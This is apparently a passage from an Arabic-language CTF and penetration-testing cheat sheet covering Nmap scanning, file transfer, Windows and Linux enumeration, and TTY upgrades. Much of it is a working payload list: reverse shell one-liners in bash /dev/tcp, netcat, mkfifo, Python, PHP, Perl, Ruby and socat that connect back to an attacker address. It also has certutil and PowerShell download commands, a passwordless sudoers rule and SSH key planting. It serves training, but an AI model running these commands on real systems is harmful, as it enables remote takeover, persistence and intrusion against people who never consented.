  • +clipboard يفعل Clipboard Redirection بين جهازك والـRDP Session.

إذا كنت تعمل داخل Domain ويمكن للـUsername أن يلتبس مع Local User فاستخدم الصيغة المناسبة للدومين حسب بيئتك مثل DOMAIN\\user أو خيارات FreeRDP الخاصة بالدومين.


17. Windows File Transfer

#PowerShell WebClient

powershell
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<YOUR_IP>/<FILE>','C:\Temp\<FILE>')"

powershell -c ينفذ Command ثم يخرج. New-Object System.Net.WebClient ينشئ WebClient وDownloadFile يأخذ Source URL ثم Destination Path.

#Invoke-WebRequest

powershell
powershell -c "iwr -uri http://<YOUR_IP>/<FILE> -outfile C:\Temp\<FILE>"

iwr Alias لـInvoke-WebRequest. -Uri يحدد URL و-OutFile يكتب الاستجابة مباشرة في ملف.

#Certutil

cmd
certutil -urlcache -f http://<YOUR_IP>/<FILE> C:\Temp\<FILE>

-urlcache يستخدم وظائف URL Cache و-f يجبر استبدال الملف في سيناريوهات مناسبة. هذه أداة نظام وليست Downloader مصمم أساسًا لـCTF لكنها تظهر كثيرًا في المختبرات.

#SMB Copy

cmd
copy \\<YOUR_IP>\<SHARE>\<FILE> C:\Temp\

copy ينقل الملف من UNC Path إلى المسار المحلي. يجب أن يكون Share متاحًا وأن تسمح Credentials الحالية بالوصول إليه.


18. PowerShell Essentials

#Execution Policy لجلسة جديدة

powershell
powershell -ExecutionPolicy Bypass

-ExecutionPolicy Bypass يحدد Policy للعملية الجديدة ولا يعني بالضرورة تغيير Policy النظام دائمًا. يفيد داخل المختبر عند تشغيل Scripts تدريبية محلية.

#الشكل المختصر

powershell
powershell -ep bypass

-ep اختصار مقبول لـ-ExecutionPolicy في هذا السياق. استخدام الشكل الكامل أفضل في التوثيق لأنه أوضح عند العودة للملاحظات لاحقًا.

#تغيير Policy للمستخدم الحالي

powershell
Set-ExecutionPolicy Unrestricted -Scope CurrentUser

-Scope CurrentUser يقيد التغيير على Profile المستخدم الحالي بدل الجهاز كله. افهم أثر هذا الأمر قبل استخدامه لأن تغيير Policy ليس مطلوبًا دائمًا لتشغيل كل Script.


19. Remote Management على Windows

#WinRM Test

cmd
winrs -r:<TARGET> -u:<USER> -p:<PASS> ipconfig

winrs يشغل Command عبر Windows Remote Management عندما تكون الخدمة والإعدادات والصلاحيات مناسبة. -r يحدد Remote Host و-u المستخدم و-p كلمة المرور ثم يأتي الأمر المراد تشغيله.

#تهيئة WinRM محليًا

cmd
winrm quickconfig

هذا يهيئ WinRM على الجهاز المحلي ويعدل إعدادات الخدمة والListener حسب السياق. في CTF غالبًا تستخدمه لفهم ما إذا كان WinRM متاحًا أكثر من كونه خطوة مطلوبة على الهدف.

#RDP من Windows

cmd
mstsc /v:<TARGET>

mstsc هو Remote Desktop Client المدمج. /v يحدد Server الذي تريد الاتصال به.


20. طريقة استخدام الـCheat Sheet أثناء CTF

لا تنتقل بين الأوامر عشوائيًا. استخدم تسلسلًا بسيطًا يبدأ بالاكتشاف ثم Enumeration ثم التحقق من Credentials والصلاحيات ثم اختيار المسار الأقل تعقيدًا.

#عند بداية الجهاز

text
1. Nmap لكل المنافذ
2. Service Enumeration للمنافذ المفتوحة
3. DNS وHostnames
4. Web أو SMB أو AD حسب الخدمات
5. حفظ النتائج قبل الانتقال للمرحلة التالية

#بعد الحصول على Linux Shell

text
1. ثبّت الـShell أو حولها إلى TTY
2. اعرف المستخدم والمجموعات
3. افحص sudo وSUID وcron وservices والملفات القابلة للكتابة
4. افحص الشبكة والـroutes والـhosts
5. انقل الأدوات فقط إذا كانت ستضيف قيمة واضحة

#بعد الحصول على Windows Shell

text
1. whoami /priv وwhoami /groups
2. systeminfo وipconfig /all
3. users وgroups
4. services وscheduled tasks
5. icacls على الملفات المهمة
6. registry وsaved credentials
7. domain وtrusts وshares إذا كان الجهاز Domain Joined

#عند الدخول إلى Active Directory

text
1. اعرف الدومين والـDC وDNS
2. تحقق من Credentials الحالية
3. اجمع معلومات Users وGroups وComputers وShares
4. استخدم BloodHound عندما تصبح العلاقات كثيرة
5. راجع المسارات الممكنة بدل مطاردة كل Finding منفردًا

21. Quick Reference عملي لكل الأوامر

هذا القسم ليس مجرد قائمة نسخ ولصق. كل أمر تحته متى تستخدمه وأين تستخدمه ومثال يوضح لماذا قد تحتاجه أثناء حل تحدي CTF.

#Nmap

#فحص جميع منافذ TCP

bash
nmap -p- --min-rate=1000 -Pn -T4 <TARGET_IP>

متى تستخدمه: في بداية التحدي عندما تريد معرفة كل منافذ TCP المفتوحة بدل الاكتفاء بالمنافذ الشائعة.

أين تستخدمه: على جهازك المهاجم مثل Kali أو Parrot ضد عنوان الجهاز الموجود داخل شبكة المختبر.

مثال استخدام: لديك هدف بعنوان 10.10.11.25 ولا تعرف الخدمات الموجودة عليه. تبدأ بفحص كامل حتى لا تفوت خدمة تعمل على منفذ غير معتاد.

bash
nmap -p- --min-rate=1000 -Pn -T4 10.10.11.25

#فحص الخدمات والنسخ على منافذ مكتشفة

bash
nmap -p<PORTS> -Pn -sC -sV <TARGET_IP>

متى تستخدمه: بعد معرفة المنافذ المفتوحة وتريد معرفة اسم الخدمة وإصدارها وتشغيل NSE Scripts الافتراضية عليها.

أين تستخدمه: من جهازك المهاجم بعد انتهاء الفحص الأولي.

مثال استخدام: اكتشفت المنافذ 22 و80 و445 وتريد تفاصيل كل خدمة بدل إعادة فحص كل المنافذ.

bash
nmap -p22,80,445 -Pn -sC -sV 10.10.11.25

#فحص Nmap مع Verbose وحفظ النتائج

bash
nmap -vv -oA scan <TARGET_IP>

متى تستخدمه: عندما تريد رؤية النتائج أثناء الفحص وحفظها بصيغ متعددة للرجوع إليها لاحقًا.

أين تستخدمه: على جهازك داخل مجلد خاص بالتحدي حتى تبقى ملفات الفحص مع بقية ملاحظاتك.

مثال استخدام: بدأت Machine جديدة وتريد حفظ Baseline Scan باسم scan قبل تنفيذ أي Enumeration إضافي.

bash
nmap -vv -oA scan 10.10.11.25

#فحص منافذ محددة

bash
nmap -p 80,443,8080 <TARGET_IP>

متى تستخدمه: عندما تعرف أن الهدف يقدم Web Services أو تريد إعادة فحص مجموعة منافذ محددة بسرعة.

أين تستخدمه: من جهازك المهاجم ضد Host واحد أو أكثر داخل المختبر.

مثال استخدام: بعد إضافة Hostname جديد إلى /etc/hosts تريد التأكد من أن منافذ الويب ما زالت متاحة.

bash
nmap -p 80,443,8080 10.10.11.25

#فحص Range من المنافذ

bash
nmap -p 1-1000 <TARGET_IP>

متى تستخدمه: عندما تريد حصر الفحص في Range معين بدل كل 65535 منفذًا.

أين تستخدمه: على جهازك المهاجم أثناء Reconnaissance سريع أو عند اختبار Segment محدد من المنافذ.

مثال استخدام: تريد فقط مراجعة المنافذ المنخفضة المعروفة على جهاز داخل المختبر.

bash
nmap -p 1-1000 10.10.11.25

#تشغيل NSE Script محدد

bash
nmap --script=http-enum -p 80,443 <TARGET_IP>

متى تستخدمه: عندما تكون خدمة HTTP أو HTTPS مفتوحة وتريد البحث عن مسارات وموارد ويب شائعة.

أين تستخدمه: من جهازك المهاجم بعد التأكد من أن المنافذ المستهدفة تقدم HTTP فعليًا.

مثال استخدام: Nmap أظهر Apache على المنفذ 80 وتريد بداية سريعة لاكتشاف مجلدات معروفة.

bash
nmap --script=http-enum -p 80 10.10.11.25

#تشغيل Scripts من فئة vuln

bash
nmap --script=vuln <TARGET_IP>

متى تستخدمه: بعد مرحلة Service Enumeration عندما تريد مؤشرات إضافية على Misconfigurations أو ثغرات معروفة.

أين تستخدمه: على جهازك المهاجم داخل مختبر CTF. لا تعتبر أي نتيجة إثباتًا نهائيًا قبل التحقق منها.

مثال استخدام: عرفت إصدارات الخدمات وتريد أن ترى هل لدى NSE Checks مناسبة لها قبل الانتقال للاختبار اليدوي.

bash
nmap --script=vuln 10.10.11.25

#Linux وHostnames

#إضافة Hostname إلى /etc/hosts

bash
echo "<TARGET_IP> <HOSTNAME>" | sudo tee -a /etc/hosts

متى تستخدمه: عندما يعطيك التطبيق اسم Domain أو Virtual Host داخلي لا يستطيع DNS عندك حله تلقائيًا.

أين تستخدمه: على جهازك المهاجم وليس على الهدف في أغلب سيناريوهات CTF.

مثال استخدام: الموقع يعيد توجيهك إلى internal.lab.local بينما DNS لا يعرف الاسم.

bash
echo "10.10.11.25 internal.lab.local" | sudo tee -a /etc/hosts

#التحقق من Entry داخل /etc/hosts

bash
cat /etc/hosts | grep internal

متى تستخدمه: بعد إضافة Hostname وتريد التأكد من أن السطر كتب بالشكل الصحيح.

أين تستخدمه: على نفس الجهاز الذي عدلت فيه /etc/hosts.

مثال استخدام: أضفت internal.lab.local وتريد التحقق بسرعة من وجوده من دون قراءة الملف كاملًا.

bash
cat /etc/hosts | grep internal.lab.local

#Linux Password Hashes والمستخدمون

#توليد SHA-512 crypt Hash

bash
openssl passwd -6 "YourPasswordHere"

متى تستخدمه: عندما يحتاج المختبر Password Hash بصيغة Linux بدل كلمة مرور Plaintext.

أين تستخدمه: على Linux لديه OpenSSL. قد يكون جهازك أو جهاز مختبر تملك عليه الصلاحية المناسبة.

مثال استخدام: لديك مهمة تدريبية تتطلب إنشاء Hash تجريبي لكلمة مرور قبل إضافتها إلى Account محلي.

bash
openssl passwd -6 "LabPass123"

#إنشاء متغير يحتوي Password Hash

bash
HASH=$(openssl passwd -6 "SecurePass123")

متى تستخدمه: عندما ستعيد استخدام الـHash مباشرة في أمر آخر ولا تريد نسخه يدويًا.

أين تستخدمه: داخل Bash على Linux.

مثال استخدام: تريد إنشاء مستخدم مختبري ثم تمرير Hash الناتج إلى useradd في الخطوة التالية.

bash
HASH=$(openssl passwd -6 "SecurePass123")

#إنشاء مستخدم محلي

bash
useradd -m -p "$HASH" -s /bin/bash ctfuser

متى تستخدمه: داخل مختبر تملك فيه Root عندما تكون المهمة متعلقة بإنشاء حساب محلي أو اختبار إعدادات Authentication.

أين تستخدمه: على Linux بصلاحيات تسمح بإنشاء المستخدمين.

مثال استخدام: أنشأت Hash تجريبيًا وتريد حسابًا باسم ctfuser مع Home Directory وBash Shell.

bash
sudo useradd -m -p "$HASH" -s /bin/bash ctfuser

#إضافة Rule إلى sudoers

bash
echo "ctfuser ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers

متى تستخدمه: فقط في مختبر إداري أو CTF يتطلب تعديل sudoers عمدًا. لا تستخدمه كخطوة Enumeration.

أين تستخدمه: على Linux بصلاحية Root أو sudo.

مثال استخدام: Lab خاص بإدارة Linux يطلب منح مستخدم تجريبي صلاحية sudo بدون Password لاختبار أثر Misconfiguration.

bash
echo "ctfuser ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers

#SSH Keys

#إنشاء مجلد .ssh

bash
mkdir -p ~/.ssh

متى تستخدمه: عندما تحتاج إعداد SSH للمستخدم الحالي ولم يكن مجلد .ssh موجودًا.

أين تستخدمه: داخل Home Directory للمستخدم على Linux.

مثال استخدام: تريد إضافة Public Key لحساب مختبري وتحتاج تجهيز المجلد أولًا.

bash
mkdir -p ~/.ssh

#إضافة Public Key

bash
echo "YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys

متى تستخدمه: عندما تكون مصرحًا بإعداد Key Based Authentication للحساب داخل المختبر.

أين تستخدمه: على حساب Linux الذي تريد تسجيل الدخول إليه عبر SSH.

مثال استخدام: تملك Shell على حسابك في Lab وتريد استخدام SSH بدل Shell محدودة في المرات التالية.

bash
echo "ssh-ed25519 AAAA... lab-key" >> ~/.ssh/authorized_keys

#ضبط صلاحيات SSH

bash
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

متى تستخدمه: بعد إنشاء .ssh وauthorized_keys حتى يقبل OpenSSH الملفات ولا يرفضها بسبب Permissions واسعة.

أين تستخدمه: على Linux داخل Home Directory للحساب نفسه.

مثال استخدام: أضفت المفتاح لكن SSH لا يقبله بسبب Permissions غير مناسبة.

bash
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

#Cron وWritable Paths

#عرض Cron Jobs للمستخدم الحالي

bash
crontab -l

متى تستخدمه: بعد الحصول على Linux Shell أثناء Privilege Escalation Enumeration.

أين تستخدمه: على الهدف Linux بالحساب الحالي.

مثال استخدام: تريد معرفة هل المستخدم يملك Job دوري يشغل Script يمكن تحليله أو تعديله داخل التحدي.

bash
crontab -l

#قراءة System Crontab

bash
cat /etc/crontab

متى تستخدمه: عندما تبحث عن System Jobs تعمل بمستخدمين مختلفين أو بصلاحية أعلى.

أين تستخدمه: على Linux إذا كانت صلاحيات القراءة تسمح بذلك.

مثال استخدام: تبحث عن Script يعمل كل دقيقة كـroot وتريد معرفة مساره والمستخدم الذي ينفذه.

bash
cat /etc/crontab

#فحص صلاحيات مسارات مؤقتة

bash
ls -ld /tmp /var/tmp /dev/shm

متى تستخدمه: عندما تحتاج مكانًا مؤقتًا للكتابة أو تشغيل أدوات داخل Linux CTF.

أين تستخدمه: على الجهاز الهدف بعد الحصول على Shell.

مثال استخدام: تحتاج تنزيل Enumeration Script لكن Home Directory غير قابل للكتابة.

bash
ls -ld /tmp /var/tmp /dev/shm

#نقل الملفات على Linux

#تنزيل ملف باستخدام wget

bash
wget http://<YOUR_IP>/<FILE> -O /tmp/<FILE>

متى تستخدمه: عندما يكون wget موجودًا على الهدف وتريد تنزيل أداة أو ملف من HTTP Server عندك.

أين تستخدمه: على الجهاز الهدف. يجب أن يكون جهازك المهاجم يقدم الملف وقابلًا للوصول عبر الشبكة.

مثال استخدام: لديك linpeas.sh داخل HTTP Server على 10.10.14.5:8000.

bash
wget http://10.10.14.5:8000/linpeas.sh -O /tmp/linpeas.sh

#تنزيل ملف باستخدام curl

bash
curl http://<YOUR_IP>/<FILE> -o /tmp/<FILE>

متى تستخدمه: كبديل لـwget عندما يكون curl متاحًا أو عندما تفضل التحكم بطلب HTTP عبر curl.

أين تستخدمه: على Linux الهدف أو أي Host يستطيع الوصول إلى HTTP Server.

مثال استخدام: تريد تنزيل ملف باسم enum.sh إلى /tmp.

bash
curl http://10.10.14.5:8000/enum.sh -o /tmp/enum.sh

#Python HTTP Server

#تشغيل HTTP Server

bash
python3 -m http.server 8000

متى تستخدمه: عندما تريد مشاركة ملفات بسرعة من المجلد الحالي بدون إعداد Apache أو Nginx.

أين تستخدمه: غالبًا على جهازك المهاجم داخل المجلد الذي يحتوي الأدوات المطلوبة.

مثال استخدام: ملفاتك داخل ~/ctf/tools وتريد أن يسحب الهدف منها ملفًا.

bash
cd ~/ctf/tools && python3 -m http.server 8000

#Bind على Interface محدد

bash
python3 -m http.server 8000 --bind <YOUR_IP>

متى تستخدمه: عندما يملك جهازك أكثر من Interface وتريد أن يستمع السيرفر فقط على عنوان VPN الخاص بالـCTF.

أين تستخدمه: على جهازك المهاجم.

مثال استخدام: عنوان tun0 عندك هو 10.10.14.5.

bash
python3 -m http.server 8000 --bind 10.10.14.5

#Python Utilities

#معرفة إصدار Python

bash
python --version
python3 --version

متى تستخدمه: قبل تشغيل أي Python One-liner حتى تعرف أي Interpreter متاح.

أين تستخدمه: على الهدف أو جهازك حسب المكان الذي ستنفذ فيه الكود.

مثال استخدام: حصلت على Linux Shell وتريد استخدام pty.spawn لكنك لا تعرف هل Python 3 مثبت.

bash
python3 --version

#Base64 Encode

bash
python3 -c 'import base64; print(base64.b64encode(b"string").decode())'

متى تستخدمه: عندما تحتاج تحويل نص إلى Base64 داخل المختبر لتسهيل نقله أو إدخاله في Parameter.

أين تستخدمه: على أي جهاز لديه Python 3.

مثال استخدام: تريد ترميز النص CTF-LAB قبل تمريره إلى تطبيق تدريبي.

bash
python3 -c 'import base64; print(base64.b64encode(b"CTF-LAB").decode())'

#Base64 Decode

bash
python3 -c 'import base64; print(base64.b64decode("encoded_string").decode())'

متى تستخدمه: عندما تجد قيمة Base64 وتريد معرفة النص الأصلي إن كانت البيانات Text.

أين تستخدمه: على جهازك أثناء تحليل Config أو Output من التحدي.

مثال استخدام: وجدت Q1RGLUxBQg== داخل ملف Configuration.

bash
python3 -c 'import base64; print(base64.b64decode("Q1RGLUxBQg==").decode())'

#تنزيل ملف باستخدام urllib

bash
python3 -c 'import urllib.request; urllib.request.urlretrieve("http://<YOUR_IP>/<FILE>", "/tmp/<FILE>")'

متى تستخدمه: عندما لا يتوفر wget أو curl لكن Python 3 موجود.

أين تستخدمه: على Linux الهدف الذي يستطيع الوصول إلى HTTP Server عندك.

مثال استخدام: تريد تنزيل tool.sh من جهازك إلى /tmp.

bash
python3 -c 'import urllib.request; urllib.request.urlretrieve("http://10.10.14.5:8000/tool.sh", "/tmp/tool.sh")'

#تشغيل FTP Server باستخدام pyftpdlib

bash
python3 -m pyftpdlib -p 2121 -w

متى تستخدمه: عندما تحتاج FTP سريعًا داخل Lab وتعرف أن pyftpdlib مثبت.

أين تستخدمه: على الجهاز الذي سيقدم الملفات أو يستقبلها حسب سيناريو النقل.

مثال استخدام: تريد مشاركة مجلد مع جهاز Windows قديم داخل المختبر يدعم FTP بسهولة.

bash
python3 -m pyftpdlib -p 2121 -w

#Reverse Shell Listeners

#Netcat Listener

bash
nc -lvnp <PORT>

متى تستخدمه: قبل تشغيل Reverse Shell على الهدف حتى يكون هناك Listener يستقبل الاتصال.

أين تستخدمه: على جهازك المهاجم.

مثال استخدام: الـPayload مضبوط ليتصل بجهازك على المنفذ 4444.

bash
nc -lvnp 4444

#Netcat Listener مع rlwrap

bash
rlwrap nc -lvnp <PORT>

متى تستخدمه: عندما تريد History وأسهم وتحكم أفضل من Netcat العادي.

أين تستخدمه: على جهازك المهاجم إذا كان rlwrap مثبتًا.

مثال استخدام: تتوقع Shell بسيطة وتريد جعل التعامل معها أريح من البداية.

bash
rlwrap nc -lvnp 4444

#Bash Reverse Shells

#Bash عبر /dev/tcp

bash
bash -i >& /dev/tcp/<YOUR_IP>/<PORT> 0>&1

متى تستخدمه: داخل Linux CTF عندما تستطيع تنفيذ Bash Commands على الهدف وتحتاج اتصالًا راجعًا.

أين تستخدمه: على الهدف بعد تشغيل Listener على جهازك.

مثال استخدام: جهازك على 10.10.14.5 ويستمع على 4444.

bash
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

#Bash داخل bash -c

bash
bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/<PORT> 0>&1'

متى تستخدمه: عندما يكون مكان التنفيذ يقبل Command String واحدة أو تحتاج تغليف Redirects داخل Bash جديد.

أين تستخدمه: على Linux الهدف داخل Command Execution أو Shell محدودة في بيئة CTF.

مثال استخدام: Web Command Injection يشغل قيمة Parameter عبر Shell وتريد Payload في سطر واحد.

bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'

#Netcat Reverse Shell

#Netcat باستخدام -e

bash
nc <YOUR_IP> <PORT> -e /bin/bash

متى تستخدمه: عندما يكون إصدار Netcat على الهدف يدعم -e.

أين تستخدمه: على Linux الهدف بعد تشغيل Listener عندك.

مثال استخدام: تحققت من نسخة Netcat في المختبر ووجدت أن -e متاح.

bash
nc 10.10.14.5 4444 -e /bin/bash

#Netcat بدون -e

bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <YOUR_IP> <PORT> > /tmp/f

متى تستخدمه: عندما يكون Netcat متاحًا لكنه لا يدعم -e.

أين تستخدمه: على Linux الهدف داخل مختبر CTF.

مثال استخدام: تريد Reverse Shell عبر nc الموجود على الهدف من دون خيار Execute.

bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f

#Python Reverse Shell

bash
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR_IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

متى تستخدمه: عندما يكون Python 3 موجودًا على Linux الهدف وتحتاج Reverse Shell مع PTY مبدئية.

أين تستخدمه: على الهدف بعد بدء Listener عندك.

مثال استخدام: لا يعمل /dev/tcp في الـShell الحالية لكن Python 3 متاح.

bash
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

#PHP Reverse Shell

bash
php -r '$sock=fsockopen("<YOUR_IP>",<PORT>);exec("/bin/bash -i <&3 >&3 2>&3");'

متى تستخدمه: عندما يكون PHP CLI متاحًا على Linux الهدف ويمكنك تنفيذ Commands.

أين تستخدمه: على الهدف بعد تشغيل Listener عندك.

مثال استخدام: Web Server يعمل بـPHP ووجدت أن php متاح من CLI أيضًا.

bash
php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

#Perl Reverse Shell

bash
perl -e 'use Socket;$i="<YOUR_IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

متى تستخدمه: عندما لا تتوفر Bash /dev/tcp أو Python لكن Perl مثبت.

أين تستخدمه: على Linux أو Unix الهدف في بيئة التدريب.

مثال استخدام: which perl يعيد مسارًا بينما Python غير موجود.

bash
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

#Ruby Reverse Shell

bash
ruby -rsocket -e 'f=TCPSocket.open("<YOUR_IP>",<PORT>).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

متى تستخدمه: عندما Ruby متاح على الهدف وتحتاج بديلًا عن Bash أو Python.

أين تستخدمه: على Linux الهدف داخل CTF.

مثال استخدام: التطبيق Ruby وتأكدت أن Interpreter مثبت على النظام.

bash
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

#Socat Reverse Shell

bash
socat tcp:<YOUR_IP>:<PORT> exec:'bash -li',pty,stderr,setsid,sigint,sane

متى تستخدمه: عندما Socat موجود على الهدف وتريد Shell أكثر استقرارًا مع PTY Options من البداية.

أين تستخدمه: على Linux الهدف مع Socat Listener على جهازك.

مثال استخدام: تريد Terminal أفضل من Netcat لأن التحدي يحتاج su أو محررًا تفاعليًا.

bash
socat tcp:10.10.14.5:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane

#Socat Listener

bash
socat file:`tty`,raw,echo=0 tcp-listen:<PORT>

متى تستخدمه: عندما سيكون الطرف الآخر Socat وتريد الاستفادة من خصائص TTY بشكل أفضل.

أين تستخدمه: على جهازك المهاجم.

مثال استخدام: الـPayload السابق سيتصل بالمنفذ 4444.

bash
socat file:`tty`,raw,echo=0 tcp-listen:4444

#TTY Upgrade

#ترقية Shell باستخدام script

bash
script /dev/null -c bash

متى تستخدمه: مباشرة بعد الحصول على Shell محدودة إذا كان script موجودًا.

أين تستخدمه: داخل Shell الموجودة على Linux الهدف.

مثال استخدام: الأسهم وTab لا تعمل وsu يرفض العمل بصورة طبيعية.

bash
script /dev/null -c bash

#بديل script

bash
script -qc /bin/bash /dev/null

متى تستخدمه: عندما تريد نفس فكرة PTY مع Output أقل من script.

أين تستخدمه: على Linux الهدف.

مثال استخدام: Shell الحالية تطبع Messages من script وتريد Session أنظف.

bash
script -qc /bin/bash /dev/null

#Python PTY

bash
python3 -c 'import pty;pty.spawn("/bin/bash")'

متى تستخدمه: عندما Python 3 موجود وscript غير متاح أو تفضل pty.spawn.

أين تستخدمه: داخل Reverse Shell على Linux الهدف.

مثال استخدام: حصلت على /bin/sh محدود وتريد Bash داخل PTY.

bash
python3 -c 'import pty;pty.spawn("/bin/bash")'

#تحويل Terminal المحلي إلى Raw ثم إعادة Shell

bash
stty raw -echo; fg

متى تستخدمه: بعد Ctrl+Z أثناء Full TTY Upgrade.

أين تستخدمه: على Terminal جهازك المهاجم وليس داخل الهدف مباشرة.

مثال استخدام: شغلت pty.spawn ثم أرسلت الجلسة للخلفية وتريد أن تمر مفاتيح التحكم بشكل صحيح.

bash
stty raw -echo; fg

#إعادة تهيئة الطرفية

bash
reset

متى تستخدمه: بعد إعادة Reverse Shell إلى Foreground إذا أصبحت الطرفية مشوهة أو لا تعرض Prompt طبيعيًا.

أين تستخدمه: داخل Shell الهدف بعد رجوع الاتصال.

مثال استخدام: الأحرف لا تظهر أو Line Breaks غير طبيعية بعد stty raw -echo.

bash
reset

#تحديد نوع Terminal

bash
export TERM=xterm-256color

متى تستخدمه: عندما تحتاج برامج مثل vim أو less أو clear إلى TERM صحيح.

أين تستخدمه: داخل Shell Linux الهدف.

مثال استخدام: clear يعطي خطأ أن نوع Terminal غير معروف.

bash
export TERM=xterm-256color

#ضبط حجم Terminal

bash
stty rows 38 columns 116

متى تستخدمه: عندما برامج TUI أو المحررات تنكسر بسبب حجم Terminal غير صحيح.

أين تستخدمه: داخل Shell الهدف بعد ترقية TTY.

مثال استخدام: vim يرسم الشاشة بشكل غير صحيح لأن Rows وColumns لا تطابق Terminal عندك.

bash
stty rows 38 columns 116

#معرفة الأدوات المتاحة

bash
which python python3 perl ruby lua script socat

متى تستخدمه: قبل اختيار طريقة Reverse Shell أو TTY Upgrade.

أين تستخدمه: على Linux الهدف.

مثال استخدام: بدل تجربة خمس Payloads عشوائية تريد معرفة الأدوات الموجودة أولًا.

bash
which python python3 perl ruby lua script socat

#Windows Identity

#معرفة المستخدم الحالي

cmd
whoami

متى تستخدمه: أول أمر تقريبًا بعد الحصول على CMD أو PowerShell على Windows.

أين تستخدمه: على Windows الهدف.

مثال استخدام: دخلت عبر WinRM وتريد التأكد من الحساب الذي تعمل به قبل أي Enumeration.

cmd
whoami

#عرض Privileges

cmd
whoami /priv

متى تستخدمه: في بداية Windows Privilege Escalation Enumeration.

أين تستخدمه: على Windows الهدف.

مثال استخدام: تريد معرفة هل Token يحتوي Privilege مهم يستحق التحليل داخل التحدي.

cmd
whoami /priv

#عرض Groups

cmd
whoami /groups

متى تستخدمه: عندما تريد معرفة Local وDomain Groups المؤثرة في صلاحيات الحساب.

أين تستخدمه: على Windows الهدف.

مثال استخدام: تريد التأكد هل المستخدم عضو في مجموعة لها صلاحيات إدارية أو Remote Management.

cmd
whoami /groups

#Windows System Information

#معلومات النظام

cmd
systeminfo

متى تستخدمه: في بداية Enumeration لمعرفة إصدار Windows والـBuild والـHotfixes والدومين.

أين تستخدمه: على Windows الهدف.

مثال استخدام: تريد تحديد هل الجهاز Server أو Workstation وتوثيق Build قبل متابعة PrivEsc.

cmd
systeminfo

#إصدار Windows المختصر

cmd
ver

متى تستخدمه: عندما تريد Version سريع من CMD بدون Output طويل.

أين تستخدمه: على Windows الهدف.

مثال استخدام: Shell بطيئة وتريد تأكيد إصدار Windows بصورة مختصرة.

cmd
ver

#اسم الجهاز

cmd
hostname

متى تستخدمه: عندما تريد ربط الـShell الحالية باسم Computer في بيئة متعددة الأجهزة.

أين تستخدمه: على Windows أو Linux الهدف.

مثال استخدام: لديك عدة RDP وWinRM Sessions وتحتاج معرفة أي Host تعمل عليه الآن.

cmd
hostname

#Environment Variables

cmd
set

متى تستخدمه: عندما تبحث عن Paths وTEMP وUSERPROFILE ومتغيرات تطبيق قد تكشف Context مفيدًا.

أين تستخدمه: داخل CMD على Windows.

مثال استخدام: تريد معرفة %TEMP% و%USERPROFILE% قبل نقل ملفات أو البحث في Home Directory.

cmd
set

#Windows Users and Groups

#عرض المستخدمين المحليين

cmd
net user

متى تستخدمه: عندما تريد قائمة الحسابات المحلية على الجهاز.

أين تستخدمه: Windows الهدف.

مثال استخدام: تبحث عن Service Accounts أو حسابات غير معتادة يمكن أن تكون جزءًا من مسار التحدي.

cmd
net user

#تفاصيل مستخدم

cmd
net user <USER>

متى تستخدمه: بعد العثور على حساب يهمك وتريد معرفة خصائصه ومجموعاته المحلية.

أين تستخدمه: Windows الهدف.

مثال استخدام: ظهر حساب svc_backup وتريد معرفة تفاصيله.

cmd
net user svc_backup

#عرض Local Groups

cmd
net localgroup

متى تستخدمه: لمعرفة المجموعات المحلية الموجودة على الجهاز.

أين تستخدمه: Windows الهدف.

مثال استخدام: تريد معرفة هل توجد مجموعة خاصة بتطبيق أو Remote Management.

cmd
net localgroup

#أعضاء Administrators

cmd
net localgroup Administrators

متى تستخدمه: لمعرفة الحسابات والمجموعات التي تملك Local Admin على الجهاز.

أين تستخدمه: Windows الهدف.

مثال استخدام: تريد معرفة أي Domain Group يمنح Admin محليًا على الجهاز الحالي.

cmd
net localgroup Administrators

#مستخدمو الدومين

cmd
net user /domain

متى تستخدمه: عندما يكون الجهاز Domain Joined وتريد Enumeration أولي للحسابات.

أين تستخدمه: Windows الهدف ضمن Context يستطيع الاستعلام من الدومين.

مثال استخدام: عرفت اسم الدومين وتريد رؤية أسماء الحسابات قبل استخدام أدوات AD إضافية.

cmd
net user /domain

#Domain Admins

cmd
net group "Domain Admins" /domain

متى تستخدمه: عندما تريد معرفة أعضاء مجموعة Domain Admins في مختبر AD.

أين تستخدمه: Windows Domain Joined مع إمكانية الاستعلام عن الدومين.

مثال استخدام: BloodHound أظهر User Path نحو Domain Admin وتريد معرفة أسماء الأعضاء يدويًا.

cmd
net group "Domain Admins" /domain

#Windows Network

#IP Configuration

cmd
ipconfig /all

متى تستخدمه: في بداية Enumeration لفهم Interfaces وDNS وGateway وDomain Suffix.

